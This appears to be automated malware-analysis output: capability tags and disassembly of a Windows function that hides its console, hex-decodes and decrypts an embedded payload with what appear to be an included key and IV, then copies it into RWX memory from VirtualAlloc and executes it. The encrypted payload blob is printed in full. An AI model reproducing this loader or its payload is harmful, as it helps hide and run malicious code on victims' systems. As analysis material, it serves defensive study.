Function at 0x140002936
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x3b540
call fcn.140003af0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140002b40
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, str.d37df0193dd7e04da208052e963bfeaf6cc297d3d2948dcac643af40738e2f605b8ad78b4ea779ad789edea1be39816362733630b89f1ec8097308901856c44d094c421022e6f573d3cb5fa66993df1987e7982322a6b70a14b47a7e2a0a1f1be06097ef6b1774450610e678c2e83ef70e530b597c48fb78862b7183b8b1cf274c08cbc188f6fae2740745fcf2d954351e5821dbc7cf9c88f4b795ea065bd384ce735de17e9eae54b3cfe958ffb54d4a142a6b5558e07397da0a0fbd12663c1d41c1020d0c9e0f55e287d09177771ae97440481ca7bf593cbb3cd77905271799bb89af3271a642a97dde6a0c6603cde8a8649e519d56ebae4c9f6ac7d976bd1b145bab1135432777f4bc8d97767560757c35156852c000d76a573512e19c02171c0a2eeb478fb8e1991afa26fcd54c558bdcb9645a8cf1a1ae10eda533e46ee01ec4f77fdc1b4f0b8a41bd1ceb47c38f291d073c52a575cedb6d915f2b1b2becd4a982b24a6f52bf395b1dea7bb13e09ff5fa71ce9c30a5292746ca7fe9e7ae9f59de845d0831282dea953062ab75db41cef5f07207be2778692d791d921fa288913a69a0429b6c8be0bc84fcc752846cb8213a78670ebf2082612418d4268a9fbf35db381fe788e313ded37b591e83c39b78e9cdd08f9f37f00f24313efb34cb62d135a8503dca2747d3077259e55211742df4af979a0b22d92d9ba4e06e03a609a71ccb9f4b09086a64a9d5edcfc2f2018dc5641912a1028cfaec67370e0cade8d09f8d6b78db16b05aabae78d48ca7ce43f3ad75ec67bc77982fa9c8a4251060de0d1a0e4effce499ad0274e566d115dffc636cf0594233f1ef799f0101ba42f2648cef6f504599389ebc84f5dbff1f3b4bd6dda72b059cb49f474853aabff9375c4bb7447f000bb4524c2ba3b3edb88fb439e2fa58a1b30ae291d5f9408e3e0c49a34a4b96ae390a97af2f8d7c685fcab17e14e71deb3232f47f285738d467ca0edb2ac55b5070a2645d0cb06d4511e2d1ff4d423cba2f21925fbb691e0c180f31446daca9812c9b679573a4557a4cefc42aaadbbcc3b9aab26a0211bb0e3db0c3889c4fe2c7622e894668dd530fdba348b61a28b7017950dc7de183cf073cfd79bad82e85539d632943fd24e3f34fa1a06731240109d1180d3cec588d38c944ab4e641b5d7645c1f9fa0eb7e287c06caa3c7d8ff20a56333e27e8229459b43467a586496622a39c3b2d429346b42c01588ae2aae64a68e9c78bc67d5077b813e02a7b5b3d5667413631398e46895ca0cca4cec363815cf38d6a5c2eb6a8ac4b2381bf92c829f451d04f7626adfcf55356b318c2b54a86203d601f06704c29570967f5799a65b16842abad3e9724bf42a4dba3c81b9de540591cae903b2a54abfb1c5b53d3a3228e2d6f36311286ebb3fb37b083102db0677067b55b77d9b1672de84639140a60edc5af247527b6c598d8a7d842acd209851d85237e256875ccd4d2079bc7fee1d75a525f519281200991243e91cff447e5fcd64f7fd65619beb09392e8530e0a79151c10518dd2d8b28e85d6daf7edf256e554836103d7d166a0a4bce9e073a7bbfd978a9b7c0340da6f4027e52ce620328ea5a2ff0537fb675a2197087dad39e86f47e87de74bbf27e8c659649528086ec6e6bc8624d7bcab1c1bb35b358ca49a25fea35379a304960bb3ed7749b09dc037b49a5549edc82067a24d26bb2dbfb8b65ad31c998a85aa4a5b5e3507208be27f2de2c46e66208c052b4941fe18da4370fdecefb4e5dcd93fa7d355215ea56067b727b02d77dc722a8e930da8b65a2d7a6bff6839385ca8e215abd0f6a1d1536ac2ff48bf9060ab24b46618818b08dd39a3af168ea202d8941d2c9da19250ae70be63e64cf1bef8c71f7fbe8100d335bf47c6558ac38f502b02bd26ce286d22b6f9fd34a08ee7b9451f66beafad8d8de11aee9eaa816d85ff24ac7fe053a2f212e2d89f52023eedc3fdde6cd1ed5983700d747986035f1c5d3c137aa429e9551d80fe1e554b42f3f90ad1dab6a79851bb845e14413501d4900f6b2eba7b99e53f707d393837666e0530a91c08e4ca89e89feeb5708e46f07303a3666ba31b5f59bd8249601c7d697deda40d6defa25663ee1c0121f4d027cb3fafb296efbaf4fa06d975de5bbf8034d918e0e8fa187e73316e4df884972b4ffe02ffa6d0410ac8bf77eaedea189227074bb76fe1dc46db4bbabce4897572d1082b584c097137e91f6a7a2d0800d44868bd04fd02db1b18d72b528916a387ef74cfaf7c84b1c8f77ce9ba25b196947f5b2ecc6e729253960a90995b70d78bf36dbbe8a12fb5fbb643a540b9b4e614d1dbc4d17f8ff8ff3e14e42ff00071cc77f268df5816f89ff6eb9b81a5c7df8f1848de8c4eff6ac789c03271c7c6e26c753a40e55f524997dea09ed8a5200503847f84e507bc31845a08ea7493800425ff75a10b479c339e4d48959850a46f28efbd29658438f6b71df4a1959496dd8ef07dd8dde0703c2abb39968200474b245f7da27ea7cd9d3a00f825d6e5f9667729ac41a90cf2eaed4867fed1a74c8e38c2b268cba1157e82d2d9d13e8a889f589ac888a0226c89ccaacd1ba90e5f451e3e553d1412dd41eaf202ff7eee318b4848fa80bbd4a8731c12e893fe5a193075cb5f42a3684d25f70b35c4aa09111db8fc56be1eeb96d3e5be49c4d360ad74b6ea1aa3ca418825f3e209e165b453dbafebaf7633cdb6136caf00ad49688152fde1c26deff4653896ba84afbf66372374c1a4d71636b80b2f19a669b2e44ead821fa11101b5b737fad17b2c1edc263c34336194dae83e0f0422f7348d40a4b75c7c6db7b33b68de0403cee32ed506bc0799e5853cf24dff6bf2ab5d169ffc
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x3b4bc], eax
lea rax, str.60da112dcbe8064606485a0b8120b44d0daf40025022550d966923f97204e912
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x3b4b8], eax
lea rax, str.563ae1d84e127ad727c5fe966b5c859e032011d349b1a5e5e4f317eebd7c379d
mov rcx, rax
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x3b4b4], eax
mov eax, dword [rbp + 0x3b4bc]
movsxd rdx, eax
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rax, str.d37df0193dd7e04da208052e963bfeaf6cc297d3d2948dcac643af40738e2f605b8ad78b4ea779ad789edea1be39816362733630b89f1ec8097308901856c44d094c421022e6f573d3cb5fa66993df1987e7982322a6b70a14b47a7e2a0a1f1be06097ef6b1774450610e678c2e83ef70e530b597c48fb78862b7183b8b1cf274c08cbc188f6fae2740745fcf2d954351e5821dbc7cf9c88f4b795ea065bd384ce735de17e9eae54b3cfe958ffb54d4a142a6b5558e07397da0a0fbd12663c1d41c1020d0c9e0f55e287d09177771ae97440481ca7bf593cbb3cd77905271799bb89af3271a642a97dde6a0c6603cde8a8649e519d56ebae4c9f6ac7d976bd1b145bab1135432777f4bc8d97767560757c35156852c000d76a573512e19c02171c0a2eeb478fb8e1991afa26fcd54c558bdcb9645a8cf1a1ae10eda533e46ee01ec4f77fdc1b4f0b8a41bd1ceb47c38f291d073c52a575cedb6d915f2b1b2becd4a982b24a6f52bf395b1dea7bb13e09ff5fa71ce9c30a5292746ca7fe9e7ae9f59de845d0831282dea953062ab75db41cef5f07207be2778692d791d921fa288913a69a0429b6c8be0bc84fcc752846cb8213a78670ebf2082612418d4268a9fbf35db381fe788e313ded37b591e83c39b78e9cdd08f9f37f00f24313efb34cb62d135a8503dca2747d3077259e55211742df4af979a0b22d92d9ba4e06e03a609a71ccb9f4b09086a64a9d5edcfc2f2018dc5641912a1028cfaec67370e0cade8d09f8d6b78db16b05aabae78d48ca7ce43f3ad75ec67bc77982fa9c8a4251060de0d1a0e4effce499ad0274e566d115dffc636cf0594233f1ef799f0101ba42f2648cef6f504599389ebc84f5dbff1f3b4bd6dda72b059cb49f474853aabff9375c4bb7447f000bb4524c2ba3b3edb88fb439e2fa58a1b30ae291d5f9408e3e0c49a34a4b96ae390a97af2f8d7c685fcab17e14e71deb3232f47f285738d467ca0edb2ac55b5070a2645d0cb06d4511e2d1ff4d423cba2f21925fbb691e0c180f31446daca9812c9b679573a4557a4cefc42aaadbbcc3b9aab26a0211bb0e3db0c3889c4fe2c7622e894668dd530fdba348b61a28b7017950dc7de183cf073cfd79bad82e85539d632943fd24e3f34fa1a06731240109d1180d3cec588d38c944ab4e641b5d7645c1f9fa0eb7e287c06caa3c7d8ff20a56333e27e8229459b43467a586496622a39c3b2d429346b42c01588ae2aae64a68e9c78bc67d5077b813e02a7b5b3d5667413631398e46895ca0cca4cec363815cf38d6a5c2eb6a8ac4b2381bf92c829f451d04f7626adfcf55356b318c2b54a86203d601f06704c29570967f5799a65b16842abad3e9724bf42a4dba3c81b9de540591cae903b2a54abfb1c5b53d3a3228e2d6f36311286ebb3fb37b083102db0677067b55b77d9b1672de84639140a60edc5af247527b6c598d8a7d842acd209851d85237e256875ccd4d2079bc7fee1d75a525f519281200991243e91cff447e5fcd64f7fd65619beb09392e8530e0a79151c10518dd2d8b28e85d6daf7edf256e554836103d7d166a0a4bce9e073a7bbfd978a9b7c0340da6f4027e52ce620328ea5a2ff0537fb675a2197087dad39e86f47e87de74bbf27e8c659649528086ec6e6bc8624d7bcab1c1bb35b358ca49a25fea35379a304960bb3ed7749b09dc037b49a5549edc82067a24d26bb2dbfb8b65ad31c998a85aa4a5b5e3507208be27f2de2c46e66208c052b4941fe18da4370fdecefb4e5dcd93fa7d355215ea56067b727b02d77dc722a8e930da8b65a2d7a6bff6839385ca8e215abd0f6a1d1536ac2ff48bf9060ab24b46618818b08dd39a3af168ea202d8941d2c9da19250ae70be63e64cf1bef8c71f7fbe8100d335bf47c6558ac38f502b02bd26ce286d22b6f9fd34a08ee7b9451f66beafad8d8de11aee9eaa816d85ff24ac7fe053a2f212e2d89f52023eedc3fdde6cd1ed5983700d747986035f1c5d3c137aa429e9551d80fe1e554b42f3f90ad1dab6a79851bb845e14413501d4900f6b2eba7b99e53f707d393837666e0530a91c08e4ca89e89feeb5708e46f07303a3666ba31b5f59bd8249601c7d697deda40d6defa25663ee1c0121f4d027cb3fafb296efbaf4fa06d975de5bbf8034d918e0e8fa187e73316e4df884972b4ffe02ffa6d0410ac8bf77eaedea189227074bb76fe1dc46db4bbabce4897572d1082b584c097137e91f6a7a2d0800d44868bd04fd02db1b18d72b528916a387ef74cfaf7c84b1c8f77ce9ba25b196947f5b2ecc6e729253960a90995b70d78bf36dbbe8a12fb5fbb643a540b9b4e614d1dbc4d17f8ff8ff3e14e42ff00071cc77f268df5816f89ff6eb9b81a5c7df8f1848de8c4eff6ac789c03271c7c6e26c753a40e55f524997dea09ed8a5200503847f84e507bc31845a08ea7493800425ff75a10b479c339e4d48959850a46f28efbd29658438f6b71df4a1959496dd8ef07dd8dde0703c2abb39968200474b245f7da27ea7cd9d3a00f825d6e5f9667729ac41a90cf2eaed4867fed1a74c8e38c2b268cba1157e82d2d9d13e8a889f589ac888a0226c89ccaacd1ba90e5f451e3e553d1412dd41eaf202ff7eee318b4848fa80bbd4a8731c12e893fe5a193075cb5f42a3684d25f70b35c4aa09111db8fc56be1eeb96d3e5be49c4d360ad74b6ea1aa3ca418825f3e209e165b453dbafebaf7633cdb6136caf00ad49688152fde1c26deff4653896ba84afbf66372374c1a4d71636b80b2f19a669b2e44ead821fa11101b5b737fad17b2c1edc263c34336194dae83e0f0422f7348d40a4b75c7c6db7b33b68de0403cee32ed506bc0799e5853cf24dff6bf2ab5d169ffc
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x3b4b8]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str.60da112dcbe8064606485a0b8120b44d0daf40025022550d966923f97204e912
mov rcx, rax
call fcn.1400028aa
mov eax, dword [rbp + 0x3b4b4]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rax
lea rax, str.563ae1d84e127ad727c5fe966b5c859e032011d349b1a5e5e4f317eebd7c379d
mov rcx, rax
call fcn.1400028aa
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x3b3e0]
mov r8, rcx
mov rcx, rax
call fcn.14000171b
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x3b3e0]
mov r8d, 0x3b400
mov rcx, rax
call fcn.14000270f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x3b400
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x3b4a8], rax
mov rax, qword [rbp + 0x3b4a8]
mov rcx, rax
lea rax, [rbp - 0x20]
mov edx, 0x3b400
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x3b4a8]
call rax
mov eax, 0
add rsp, 0x3b540
pop rbp
ret